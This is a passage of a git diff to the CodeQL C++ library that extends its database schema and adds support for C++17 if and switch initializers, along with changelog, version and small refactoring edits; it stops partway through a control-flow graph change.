+|  32 = @fjaddexpr // C99 add real + imaginary
+|  33 = @jfaddexpr // C99 add imaginary + real
+|  34 = @fjsubexpr // C99 sub real - imaginary
+|  35 = @jfsubexpr // C99 sub imaginary - real
+|  36 = @paddexpr // pointer add (pointer + int or int + pointer)
+|  37 = @psubexpr // pointer sub (pointer - integer)
+|  38 = @pdiffexpr // difference between two pointers
+|  39 = @lshiftexpr
+|  40 = @rshiftexpr
+|  41 = @andexpr
+|  42 = @orexpr
+|  43 = @xorexpr
+|  44 = @eqexpr
+|  45 = @neexpr
+|  46 = @gtexpr
+|  47 = @ltexpr
+|  48 = @geexpr
+|  49 = @leexpr
+|  50 = @minexpr // GNU minimum
+|  51 = @maxexpr // GNU maximum
+|  52 = @assignexpr
+|  53 = @assignaddexpr
+|  54 = @assignsubexpr
+|  55 = @assignmulexpr
+|  56 = @assigndivexpr
+|  57 = @assignremexpr
+|  58 = @assignlshiftexpr
+|  59 = @assignrshiftexpr
+|  60 = @assignandexpr
+|  61 = @assignorexpr
+|  62 = @assignxorexpr
+|  63 = @assignpaddexpr // assign pointer add
+|  64 = @assignpsubexpr // assign pointer sub
+|  65 = @andlogicalexpr
+|  66 = @orlogicalexpr
+|  67 = @commaexpr
+|  68 = @subscriptexpr // access to member of an array, e.g., a[5]
+// ...  69 @objc_subscriptexpr deprecated
+// ...  70 @cmdaccess deprecated
+// ...
+|  73 = @virtfunptrexpr
+|  74 = @callexpr
+// ...  75 @msgexpr_normal deprecated
+// ...  76 @msgexpr_super deprecated
+// ...  77 @atselectorexpr deprecated
+// ...  78 @atprotocolexpr deprecated
+|  79 = @vastartexpr
+|  80 = @vaargexpr
+|  81 = @vaendexpr
+|  82 = @vacopyexpr
+// ...  83 @atencodeexpr deprecated
+|  84 = @varaccess
+|  85 = @thisaccess
+// ...  86 @objc_box_expr deprecated
+|  87 = @new_expr
+|  88 = @delete_expr
+|  89 = @throw_expr
+|  90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2)
+|  91 = @braced_init_list
+|  92 = @type_id
+|  93 = @runtime_sizeof
+|  94 = @runtime_alignof
+|  95 = @sizeof_pack
+|  96 = @expr_stmt // GNU extension
+|  97 = @routineexpr
+|  98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....)
+|  99 = @offsetofexpr // offsetof ::= type and field
+| 100 = @hasassignexpr // __has_assign ::= type
+| 101 = @hascopyexpr // __has_copy ::= type
+| 102 = @hasnothrowassign // __has_nothrow_assign ::= type
+| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type
+| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type
+| 105 = @hastrivialassign // __has_trivial_assign ::= type
+| 106 = @hastrivialconstr // __has_trivial_constructor ::= type
+| 107 = @hastrivialcopy // __has_trivial_copy ::= type
+| 108 = @hasuserdestr // __has_user_destructor ::= type
+| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type
+| 110 = @isabstractexpr // __is_abstract ::= type
+| 111 = @isbaseofexpr // __is_base_of ::= type type
+| 112 = @isclassexpr // __is_class ::= type
+| 113 = @isconvtoexpr // __is_convertible_to ::= type type
+| 114 = @isemptyexpr // __is_empty ::= type
+| 115 = @isenumexpr // __is_enum ::= type
+| 116 = @ispodexpr // __is_pod ::= type
+| 117 = @ispolyexpr // __is_polymorphic ::= type
+| 118 = @isunionexpr // __is_union ::= type
+| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type
+| 120 = @intaddrexpr // EDG internal builtin, used to implement offsetof
+// ...
+| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type
+| 123 = @literal
+| 124 = @uuidof
+| 127 = @aggregateliteral
+| 128 = @delete_array_expr
+| 129 = @new_array_expr
+// ... 130 @objc_array_literal deprecated
+// ... 131 @objc_dictionary_literal deprecated
+| 132 = @foldexpr
+// ...
+| 200 = @ctordirectinit
+| 201 = @ctorvirtualinit
+| 202 = @ctorfieldinit
+| 203 = @ctordelegatinginit
+| 204 = @dtordirectdestruct
+| 205 = @dtorvirtualdestruct
+| 206 = @dtorfielddestruct
+// ...
+| 210 = @static_cast
+| 211 = @reinterpret_cast
+| 212 = @const_cast
+| 213 = @dynamic_cast
+| 214 = @c_style_cast
+| 215 = @lambdaexpr
+| 216 = @param_ref
+| 217 = @noopexpr
+// ...
+| 294 = @istriviallyconstructibleexpr
+| 295 = @isdestructibleexpr
+| 296 = @isnothrowdestructibleexpr
+| 297 = @istriviallydestructibleexpr
+| 298 = @istriviallyassignableexpr
+| 299 = @isnothrowassignableexpr
+| 300 = @istrivialexpr
+| 301 = @isstandardlayoutexpr
+| 302 = @istriviallycopyableexpr
+| 303 = @isliteraltypeexpr
+| 304 = @hastrivialmoveconstructorexpr
+| 305 = @hastrivialmoveassignexpr
+| 306 = @hasnothrowmoveassignexpr
+| 307 = @isconstructibleexpr
+| 308 = @isnothrowconstructibleexpr
+| 309 = @hasfinalizerexpr
+| 310 = @isdelegateexpr
+| 311 = @isinterfaceclassexpr
+| 312 = @isrefarrayexpr
+| 313 = @isrefclassexpr
+| 314 = @issealedexpr
+| 315 = @issimplevalueclassexpr
+| 316 = @isvalueclassexpr
+| 317 = @isfinalexpr
+| 319 = @noexceptexpr
+| 320 = @builtinshufflevector
+| 321 = @builtinchooseexpr
+| 322 = @builtinaddressof
+| 323 = @vec_fill
+| 324 = @builtinconvertvector
+| 325 = @builtincomplex
+| 326 = @spaceshipexpr
+| 327 = @co_await
+| 328 = @co_yield
+| 329 = @temp_init
+;
+
+@var_args_expr = @vastartexpr
+               | @vaendexpr
+               | @vaargexpr
+               | @vacopyexpr
+               ;
+
+@builtin_op = @var_args_expr
+            | @noopexpr
+            | @offsetofexpr
+            | @intaddrexpr
+            | @hasassignexpr
+            | @hascopyexpr
+            | @hasnothrowassign
+            | @hasnothrowconstr
+            | @hasnothrowcopy
+            | @hastrivialassign
+            | @hastrivialconstr
+            | @hastrivialcopy
+            | @hastrivialdestructor
+            | @hasuserdestr
+            | @hasvirtualdestr
+            | @isabstractexpr
+            | @isbaseofexpr
+            | @isclassexpr
+            | @isconvtoexpr
+            | @isemptyexpr
+            | @isenumexpr
+            | @ispodexpr
+            | @ispolyexpr
+            | @isunionexpr
+            | @typescompexpr
+            | @builtinshufflevector
+            | @builtinconvertvector
+            | @builtinaddressof
+            | @istriviallyconstructibleexpr
+            | @isdestructibleexpr
+            | @isnothrowdestructibleexpr
+            | @istriviallydestructibleexpr
+            | @istriviallyassignableexpr
+            | @isnothrowassignableexpr
+            | @isstandardlayoutexpr
+            | @istriviallycopyableexpr
+            | @isliteraltypeexpr
+            | @hastrivialmoveconstructorexpr
+            | @hastrivialmoveassignexpr
+            | @hasnothrowmoveassignexpr
+            | @isconstructibleexpr
+            | @isnothrowconstructibleexpr
+            | @hasfinalizerexpr
+            | @isdelegateexpr
+            | @isinterfaceclassexpr
+            | @isrefarrayexpr
+            | @isrefclassexpr
+            | @issealedexpr
+            | @issimplevalueclassexpr
+            | @isvalueclassexpr
+            | @isfinalexpr
+            | @builtinchooseexpr
+            | @builtincomplex
+            ;
+
+new_allocated_type(
+    unique int expr: @new_expr ref,
+    int type_id: @type ref
+);
+
+new_array_allocated_type(
+    unique int expr: @new_array_expr ref,
+    int type_id: @type ref
+);
+
+/**
+ * The field being initialized by an initializer expression within an aggregate
+ * initializer for a class/struct/union.
+ */
+#keyset[aggregate, field]
+aggregate_field_init(
+    int aggregate: @aggregateliteral ref,
+    int initializer: @expr ref,
+    int field: @membervariable ref
+);
+
+/**
+ * The index of the element being initialized by an initializer expression
+ * within an aggregate initializer for an array.
+ */
+#keyset[aggregate, element_index]
+aggregate_array_init(
+    int aggregate: @aggregateliteral ref,
+    int initializer: @expr ref,
+    int element_index: int ref
+);
+
+@ctorinit = @ctordirectinit
+          | @ctorvirtualinit
+          | @ctorfieldinit
+          | @ctordelegatinginit;
+@dtordestruct = @dtordirectdestruct
+              | @dtorvirtualdestruct
+              | @dtorfielddestruct;
+
+
+condition_decl_bind(
+    unique int expr: @condition_decl ref,
+    unique int decl: @declaration ref
+);
+
+typeid_bind(
+    unique int expr: @type_id ref,
+    int type_id: @type ref
+);
+
+uuidof_bind(
+    unique int expr: @uuidof ref,
+    int type_id: @type ref
+);
+
+@runtime_sizeof_or_alignof = @runtime_sizeof | @runtime_alignof;
+
+sizeof_bind(
+    unique int expr: @runtime_sizeof_or_alignof ref,
+    int type_id: @type ref
+);
+
+code_block(
+    unique int block: @literal ref,
+    unique int routine: @function ref
+);
+
+lambdas(
+    unique int expr: @lambdaexpr ref,
+    string default_capture: string ref,
+    boolean has_explicit_return_type: boolean ref
+);
+
+lambda_capture(
+    unique int id: @lambdacapture,
+    int lambda: @lambdaexpr ref,
+    int index: int ref,
+    int field: @membervariable ref,
+    boolean captured_by_reference: boolean ref,
+    boolean is_implicit: boolean ref,
+    int location: @location_default ref
+);
+
+@funbindexpr = @routineexpr
+             | @new_expr
+             | @delete_expr
+             | @delete_array_expr
+             | @ctordirectinit
+             | @ctorvirtualinit
+             | @ctordelegatinginit
+             | @dtordirectdestruct
+             | @dtorvirtualdestruct;
+
+@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct;
+@addressable = @function | @variable ;
+@accessible = @addressable | @enumconstant ;
+
+@access = @varaccess | @routineexpr ;
+
+fold(
+    int expr: @foldexpr ref,
+    string operator: string ref,
+    boolean is_left_fold: boolean ref
+);
+
+stmts(
+    unique int id: @stmt,
+    int kind: int ref,
+    int location: @location_stmt ref
+);
+
+case @stmt.kind of
+    1 = @stmt_expr
+|   2 = @stmt_if
+|   3 = @stmt_while
+|   4 = @stmt_goto
+|   5 = @stmt_label
+|   6 = @stmt_return
+|   7 = @stmt_block
+|   8 = @stmt_end_test_while // do { ... } while ( ... )
+|   9 = @stmt_for
+|  10 = @stmt_switch_case
+|  11 = @stmt_switch
+|  13 = @stmt_asm // "asm" statement or the body of an asm function
+|  15 = @stmt_try_block
+|  16 = @stmt_microsoft_try // Microsoft
+|  17 = @stmt_decl
+|  18 = @stmt_set_vla_size // C99
+|  19 = @stmt_vla_decl // C99
+|  25 = @stmt_assigned_goto // GNU
+|  26 = @stmt_empty
+|  27 = @stmt_continue
+|  28 = @stmt_break
+|  29 = @stmt_range_based_for // C++11
+// ...  30 @stmt_at_autoreleasepool_block deprecated
+// ...  31 @stmt_objc_for_in deprecated
+// ...  32 @stmt_at_synchronized deprecated
+|  33 = @stmt_handler
+// ...  34 @stmt_finally_end deprecated
+|  35 = @stmt_constexpr_if
+|  37 = @stmt_co_return
+;
+
+type_vla(
+    int type_id: @type ref,
+    int decl: @stmt_vla_decl ref
+);
+
+variable_vla(
+    int var: @variable ref,
+    int decl: @stmt_vla_decl ref
+);
+
+if_then(
+    unique int if_stmt: @stmt_if ref,
+    int then_id: @stmt ref
+);
+
+if_else(
+    unique int if_stmt: @stmt_if ref,
+    int else_id: @stmt ref
+);
+
+constexpr_if_then(
+    unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+    int then_id: @stmt ref
+);
+
+constexpr_if_else(
+    unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+    int else_id: @stmt ref
+);
+
+while_body(
+    unique int while_stmt: @stmt_while ref,
+    int body_id: @stmt ref
+);
+
+do_body(
+    unique int do_stmt: @stmt_end_test_while ref,
+    int body_id: @stmt ref
+);
+
+#keyset[switch_stmt, index]
+switch_case(
+    int switch_stmt: @stmt_switch ref,
+    int index: int ref,
+    int case_id: @stmt_switch_case ref
+);
+
+switch_body(
+    unique int switch_stmt: @stmt_switch ref,
+    int body_id: @stmt ref
+);
+
+for_initialization(
+    unique int for_stmt: @stmt_for ref,
+    int init_id: @stmt ref
+);
+
+for_condition(
+    unique int for_stmt: @stmt_for ref,
+    int condition_id: @expr ref
+);
+
+for_update(
+    unique int for_stmt: @stmt_for ref,
+    int update_id: @expr ref
+);
+
+for_body(
+    unique int for_stmt: @stmt_for ref,
+    int body_id: @stmt ref
+);
+
+@stmtparent = @stmt | @expr_stmt ;
+stmtparents(
+    unique int id: @stmt ref,
+    int index: int ref,
+    int parent: @stmtparent ref
+);
+
+ishandler(unique int block: @stmt_block ref);
+
+@cfgnode = @stmt | @expr | @function | @initialiser ;
+
+stmt_decl_bind(
+    int stmt: @stmt_decl ref,
+    int num: int ref,
+    int decl: @declaration ref
+);
+
+stmt_decl_entry_bind(
+    int stmt: @stmt_decl ref,
+    int num: int ref,
+    int decl_entry: @element ref
+);
+
+@functionorblock = @function | @stmt_block;
+
+blockscope(
+    unique int block: @stmt_block ref,
+    int enclosing: @functionorblock ref
+);
+
+@jump = @stmt_goto | @stmt_break | @stmt_continue;
+
+@jumporlabel = @jump | @stmt_label | @literal;
+
+jumpinfo(
+    unique int id: @jumporlabel ref,
+    string str: string ref,
+    int target: @stmt ref
+);
+
+preprocdirects(
+    unique int id: @preprocdirect,
+    int kind: int ref,
+    int location: @location_default ref
+);
+case @preprocdirect.kind of
+   0 = @ppd_if
+|  1 = @ppd_ifdef
+|  2 = @ppd_ifndef
+|  3 = @ppd_elif
+|  4 = @ppd_else
+|  5 = @ppd_endif
+|  6 = @ppd_plain_include
+|  7 = @ppd_define
+|  8 = @ppd_undef
+|  9 = @ppd_line
+| 10 = @ppd_error
+| 11 = @ppd_pragma
+| 12 = @ppd_objc_import
+| 13 = @ppd_include_next
+| 18 = @ppd_warning
+;
+
+@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next;
+
+@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif;
+
+preprocpair(
+    int begin : @ppd_branch ref,
+    int elseelifend : @preprocdirect ref
+);
+
+preproctrue(int branch : @ppd_branch ref);
+preprocfalse(int branch : @ppd_branch ref);
+
+preproctext(
+    unique int id: @preprocdirect ref,
+    string head: string ref,
+    string body: string ref
+);
+
+includes(
+    unique int id: @ppd_include ref,
+    int included: @file ref
+);
+
+link_targets(
+    unique int id: @link_target,
+    int binary: @file ref
+);
+
+link_parent(
+    int element : @element ref,
+    int link_target : @link_target ref
+);
+
+/* XML Files */
+
+xmlEncoding(unique int id: @file ref, string encoding: string ref);
+
+xmlDTDs(
+    unique int id: @xmldtd,
+    string root: string ref,
+    string publicId: string ref,
+    string systemId: string ref,
+    int fileid: @file ref
+);
+
+xmlElements(
+    unique int id: @xmlelement,
+    string name: string ref,
+    int parentid: @xmlparent ref,
+    int idx: int ref,
+    int fileid: @file ref
+);
+
+xmlAttrs(
+    unique int id: @xmlattribute,
+    int elementid: @xmlelement ref,
+    string name: string ref,
+    string value: string ref,
+    int idx: int ref,
+    int fileid: @file ref
+);
+
+xmlNs(
+    int id: @xmlnamespace,
+    string prefixName: string ref,
+    string URI: string ref,
+    int fileid: @file ref
+);
+
+xmlHasNs(
+    int elementId: @xmlnamespaceable ref,
+    int nsId: @xmlnamespace ref,
+    int fileid: @file ref
+);
+
+xmlComments(
+    unique int id: @xmlcomment,
+    string text: string ref,
+    int parentid: @xmlparent ref,
+    int fileid: @file ref
+);
+
+xmlChars(
+    unique int id: @xmlcharacters,
+    string text: string ref,
+    int parentid: @xmlparent ref,
+    int idx: int ref,
+    int isCDATA: int ref,
+    int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+    int xmlElement: @xmllocatable ref,
+    int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters
+              | @xmlelement
+              | @xmlcomment
+              | @xmlattribute
+              | @xmldtd
+              | @file
+              | @xmlnamespace;
diff --git a/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/stmtparents.ql b/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/stmtparents.ql
new file mode 100644
index 00000000000..85465fdf8a3
--- /dev/null
+++ b/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/stmtparents.ql
@@ -0,0 +1,22 @@
+class Element extends @element {
+  string toString() { none() }
+}
+
+class Stmt extends @stmt {
+  string toString() { none() }
+}
+
+predicate isStmtWithInitializer(Stmt stmt) {
+  exists(int kind | stmts(stmt, kind, _) | kind = 2 or kind = 11 or kind = 35)
+}
+
+from Stmt child, int index, int index_new, Element parent
+where
+  stmtparents(child, index, parent) and
+  (
+    not isStmtWithInitializer(parent)
+    or
+    index > 0
+  ) and
+  if isStmtWithInitializer(parent) then index_new = index - 1 else index_new = index
+select child, index_new, parent
diff --git a/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/upgrade.properties b/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/upgrade.properties
new file mode 100644
index 00000000000..784726b09de
--- /dev/null
+++ b/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/upgrade.properties
@@ -0,0 +1,6 @@
+description: Support C++17 if and switch initializers
+compatibility: partial
+if_initialization.rel: delete
+switch_initialization.rel: delete
+exprparents.rel: run exprparents.qlo
+stmtparents.rel: run stmtparents.qlo
diff --git a/cpp/ql/lib/CHANGELOG.md b/cpp/ql/lib/CHANGELOG.md
index 0f33f4cc3e8..6f030187ef9 100644
--- a/cpp/ql/lib/CHANGELOG.md
+++ b/cpp/ql/lib/CHANGELOG.md
@@ -1,3 +1,16 @@
+## 0.2.1
+
+## 0.2.0
+
+### Breaking Changes
+
+* The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
+
+### Minor Analysis Improvements
+
+* More Windows pool allocation functions are now detected as `AllocationFunction`s.
+* The `semmle.code.cpp.commons.Buffer` library has been enhanced to handle array members of classes that do not specify a size.
+
 ## 0.1.0
 
 ### Breaking Changes
diff --git a/cpp/ql/lib/change-notes/2022-04-12-if-and-switch-initializers.md b/cpp/ql/lib/change-notes/2022-04-12-if-and-switch-initializers.md
new file mode 100644
index 00000000000..dcfa69120fa
--- /dev/null
+++ b/cpp/ql/lib/change-notes/2022-04-12-if-and-switch-initializers.md
@@ -0,0 +1,4 @@
+---
+category: feature
+---
+* A `getInitialization` predicate was added to the `ConstexprIfStmt`, `IfStmt`, and `SwitchStmt` classes that yields the C++17-style initializer of the `if` or `switch` statement when it exists.
diff --git a/cpp/ql/lib/change-notes/2022-04-22-no-size-array.md b/cpp/ql/lib/change-notes/2022-04-22-no-size-array.md
deleted file mode 100644
index 40a8c9a75d5..00000000000
--- a/cpp/ql/lib/change-notes/2022-04-22-no-size-array.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: minorAnalysis
----
-* The `semmle.code.cpp.commons.Buffer` library has been enhanced to handle array members of classes that do not specify a size.
diff --git a/cpp/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md b/cpp/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md
deleted file mode 100644
index 4164b4d4b81..00000000000
--- a/cpp/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: breaking
----
-The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
\ No newline at end of file
diff --git a/cpp/ql/lib/change-notes/2022-04-25-windows-pool-allocation-functions.md b/cpp/ql/lib/change-notes/2022-04-25-windows-pool-allocation-functions.md
deleted file mode 100644
index b3876b96801..00000000000
--- a/cpp/ql/lib/change-notes/2022-04-25-windows-pool-allocation-functions.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: minorAnalysis
----
-* More Windows pool allocation functions are now detected as `AllocationFunction`s.
\ No newline at end of file
diff --git a/cpp/ql/lib/change-notes/2022-05-11-deprecated-analysed-string.md b/cpp/ql/lib/change-notes/2022-05-11-deprecated-analysed-string.md
new file mode 100644
index 00000000000..82626eaf329
--- /dev/null
+++ b/cpp/ql/lib/change-notes/2022-05-11-deprecated-analysed-string.md
@@ -0,0 +1,4 @@
+---
+ category: deprecated
+---
+ * The `AnalysedString` class in the `StringAnalysis` module has been replaced with `AnalyzedString`, to follow our style guide. The old name still exists as a deprecated alias.
diff --git a/cpp/ql/lib/change-notes/released/0.2.0.md b/cpp/ql/lib/change-notes/released/0.2.0.md
new file mode 100644
index 00000000000..e0b751200c4
--- /dev/null
+++ b/cpp/ql/lib/change-notes/released/0.2.0.md
@@ -0,0 +1,10 @@
+## 0.2.0
+
+### Breaking Changes
+
+* The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
+
+### Minor Analysis Improvements
+
+* More Windows pool allocation functions are now detected as `AllocationFunction`s.
+* The `semmle.code.cpp.commons.Buffer` library has been enhanced to handle array members of classes that do not specify a size.
diff --git a/cpp/ql/lib/change-notes/released/0.2.1.md b/cpp/ql/lib/change-notes/released/0.2.1.md
new file mode 100644
index 00000000000..c260de2a9ee
--- /dev/null
+++ b/cpp/ql/lib/change-notes/released/0.2.1.md
@@ -0,0 +1 @@
+## 0.2.1
diff --git a/cpp/ql/lib/codeql-pack.release.yml b/cpp/ql/lib/codeql-pack.release.yml
index 2e08f40f6aa..df29a726bcc 100644
--- a/cpp/ql/lib/codeql-pack.release.yml
+++ b/cpp/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.0
+lastReleaseVersion: 0.2.1
diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml
index c486434910b..b8488e9ce82 100644
--- a/cpp/ql/lib/qlpack.yml
+++ b/cpp/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/cpp-all
-version: 0.1.1-dev
+version: 0.2.2-dev
 groups: cpp
 dbscheme: semmlecode.cpp.dbscheme
 extractor: cpp
diff --git a/cpp/ql/lib/semmle/code/cpp/Field.qll b/cpp/ql/lib/semmle/code/cpp/Field.qll
index 362569708a4..95e55568c4b 100644
--- a/cpp/ql/lib/semmle/code/cpp/Field.qll
+++ b/cpp/ql/lib/semmle/code/cpp/Field.qll
@@ -31,7 +31,7 @@ class Field extends MemberVariable {
   int getByteOffset() { fieldoffsets(underlyingElement(this), result, _) }
 
   /**
-   * Gets the byte offset within `mostDerivedClass` of each occurence of this
+   * Gets the byte offset within `mostDerivedClass` of each occurrence of this
    * field within `mostDerivedClass` itself or a base class subobject of
    * `mostDerivedClass`.
    * Note that for fields of virtual base classes, and non-virtual base classes
diff --git a/cpp/ql/lib/semmle/code/cpp/Function.qll b/cpp/ql/lib/semmle/code/cpp/Function.qll
index 0f1de2b512c..bf69c33f6cb 100644
--- a/cpp/ql/lib/semmle/code/cpp/Function.qll
+++ b/cpp/ql/lib/semmle/code/cpp/Function.qll
@@ -38,8 +38,8 @@ class Function extends Declaration, ControlFlowNode, AccessHolder, @function {
    * int z = min(5, 7);
    * ```
    * The full signature of the function called on the last line would be
-   * "min<int>(int, int) -> int", and the full signature of the uninstantiated
-   * template on the first line would be "min<T>(T, T) -> T".
+   * `min<int>(int, int) -> int`, and the full signature of the uninstantiated
+   * template on the first line would be `min<T>(T, T) -> T`.
    */
   string getFullSignature() {
     exists(string name, string templateArgs, string args |
diff --git a/cpp/ql/lib/semmle/code/cpp/PrintAST.qll b/cpp/ql/lib/semmle/code/cpp/PrintAST.qll
index 7658d5cf17a..106e49aff74 100644
--- a/cpp/ql/lib/semmle/code/cpp/PrintAST.qll
+++ b/cpp/ql/lib/semmle/code/cpp/PrintAST.qll
@@ -663,18 +663,24 @@ private predicate namedStmtChildPredicates(Locatable s, Element e, string pred)
     or
     s.(ComputedGotoStmt).getExpr() = e and pred = "getExpr()"
     or
+    s.(ConstexprIfStmt).getInitialization() = e and pred = "getInitialization()"
+    or
     s.(ConstexprIfStmt).getCondition() = e and pred = "getCondition()"
     or
     s.(ConstexprIfStmt).getThen() = e and pred = "getThen()"
     or
     s.(ConstexprIfStmt).getElse() = e and pred = "getElse()"
     or
+    s.(IfStmt).getInitialization() = e and pred = "getInitialization()"
+    or
     s.(IfStmt).getCondition() = e and pred = "getCondition()"
     or
     s.(IfStmt).getThen() = e and pred = "getThen()"
     or
     s.(IfStmt).getElse() = e and pred = "getElse()"
     or
+    s.(SwitchStmt).getInitialization() = e and pred = "getInitialization()"
+    or
     s.(SwitchStmt).getExpr() = e and pred = "getExpr()"
     or
     s.(SwitchStmt).getStmt() = e and pred = "getStmt()"
diff --git a/cpp/ql/lib/semmle/code/cpp/commons/Printf.qll b/cpp/ql/lib/semmle/code/cpp/commons/Printf.qll
index dc7b8352d4b..71a31d03aac 100644
--- a/cpp/ql/lib/semmle/code/cpp/commons/Printf.qll
+++ b/cpp/ql/lib/semmle/code/cpp/commons/Printf.qll
@@ -872,7 +872,7 @@ class FormatLiteral extends Literal {
 
   private Type getConversionType1(int n) {
     exists(string cnv | cnv = this.getConversionChar(n) |
-      cnv.regexpMatch("d|i") and
+      cnv = ["d", "i"] and
       result = this.getIntegralConversion(n) and
       not result.getUnderlyingType().(IntegralType).isExplicitlySigned() and
       not result.getUnderlyingType().(IntegralType).isExplicitlyUnsigned()
@@ -912,7 +912,7 @@ class FormatLiteral extends Literal {
 
   private Type getConversionType2(int n) {
     exists(string cnv | cnv = this.getConversionChar(n) |
-      cnv.regexpMatch("o|u|x|X") and
+      cnv = ["o", "u", "x", "X"] and
       result = this.getIntegralConversion(n) and
       result.getUnderlyingType().(IntegralType).isUnsigned()
     )
@@ -920,7 +920,7 @@ class FormatLiteral extends Literal {
 
   private Type getConversionType3(int n) {
     exists(string cnv | cnv = this.getConversionChar(n) |
-      cnv.regexpMatch("a|A|e|E|f|F|g|G") and result = this.getFloatingPointConversion(n)
+      cnv = ["a", "A", "e", "E", "f", "F", "g", "G"] and result = this.getFloatingPointConversion(n)
     )
   }
 
@@ -1312,7 +1312,7 @@ class FormatLiteral extends Literal {
         len =
           min(int v |
             v = this.getPrecision(n) or
-            v = this.getUse().getFormatArgument(n).(AnalysedString).getMaxLength() - 1 // (don't count null terminator)
+            v = this.getUse().getFormatArgument(n).(AnalyzedString).getMaxLength() - 1 // (don't count null terminator)
           ) and
         reason = TValueFlowAnalysis()
       )
diff --git a/cpp/ql/lib/semmle/code/cpp/commons/StringAnalysis.qll b/cpp/ql/lib/semmle/code/cpp/commons/StringAnalysis.qll
index b54ff6d66e3..40689adda30 100644
--- a/cpp/ql/lib/semmle/code/cpp/commons/StringAnalysis.qll
+++ b/cpp/ql/lib/semmle/code/cpp/commons/StringAnalysis.qll
@@ -27,11 +27,14 @@ predicate canValueFlow(Expr fromExpr, Expr toExpr) {
   fromExpr = toExpr.(ConditionalExpr).getElse()
 }
 
+/** DEPRECATED: Alias for AnalyzedString */
+deprecated class AnalysedString = AnalyzedString;
+
 /**
- * An analysed null terminated string.
+ * An analyzed null terminated string.
  */
-class AnalysedString extends Expr {
-  AnalysedString() {
+class AnalyzedString extends Expr {
+  AnalyzedString() {
     this.getUnspecifiedType() instanceof ArrayType or
     this.getUnspecifiedType() instanceof PointerType
   }
@@ -41,15 +44,15 @@ class AnalysedString extends Expr {
    * can be calculated.
    */
   int getMaxLength() {
-    // take the longest AnalysedString it's value could 'flow' from; however if even one doesn't
+    // take the longest AnalyzedString its value could 'flow' from; however if even one doesn't
     // return a value (this essentially means 'infinity') we can't return a value either.
     result =
-      max(AnalysedString expr, int toMax |
+      max(AnalyzedString expr, int toMax |
         canValueFlow*(expr, this) and toMax = expr.(StringLiteral).getOriginalLength()
       |
         toMax
       ) and // maximum length
-    forall(AnalysedString expr | canValueFlow(expr, this) | exists(expr.getMaxLength())) // all sources return a value (recursive)
+    forall(AnalyzedString expr | canValueFlow(expr, this) | exists(expr.getMaxLength())) // all sources return a value (recursive)
   }
 }
 
diff --git a/cpp/ql/lib/semmle/code/cpp/controlflow/internal/CFG.qll b/cpp/ql/lib/semmle/code/cpp/controlflow/internal/CFG.qll
index 96f03c931bf..25fdba90d52 100644
--- a/cpp/ql/lib/semmle/code/cpp/controlflow/internal/CFG.qll
+++ b/cpp/ql/lib/semmle/code/cpp/controlflow/internal/CFG.qll
@@ -708,30 +708,33 @@ private predicate straightLineSparse(Node scope, int i, Node ni, Spec spec) {
   or
   scope =
     any(SwitchStmt s |
+      // SwitchStmt [-> init] -> expr
       i = -1 and ni = s and spec.isAt()
       or
-      i = 0 and ni = s.getExpr() and spec.isAround()
+      i = 0 and ni = s.getInitialization() and spec.isAround()
+      or
+      i = 1 and ni = s.getExpr() and spec.isAround()
       or
       // If the switch body is not a block then this step is skipped, and the
       // expression jumps directly to the cases.
-      i = 1 and ni = s.getStmt().(BlockStmt) and spec.isAt()
+      i = 2 and ni = s.getStmt().(BlockStmt) and spec.isAt()
       or
-      i = 2 and ni = s.getASwitchCase() and spec.isBefore()
+      i = 3 and ni = s.getASwitchCase() and spec.isBefore()
       or
       // If there is no default case, we can jump to after the block. Note: `i`
       // is same value as above.
       not s.getASwitchCase() instanceof DefaultCase and
-      i = 2 and
+      i = 3 and
       ni = s.getStmt() and
       spec.isAfter()
       or
-      i = 3 and /* BARRIER */ ni = s and spec.isBarrier()
+      i = 4 and /* BARRIER */ ni = s and spec.isBarrier()
       or
-      i = 4 and ni = s.getStmt() and spec.isAfter()
+      i = 5 and ni = s.getStmt() and spec.isAfter()
       or
-      i = 5 and ni = s and spec.isAroundDestructors()
+      i = 6 and ni = s and spec.isAroundDestructors()
       or
-      i = 6 and ni = s and spec.isAfter()
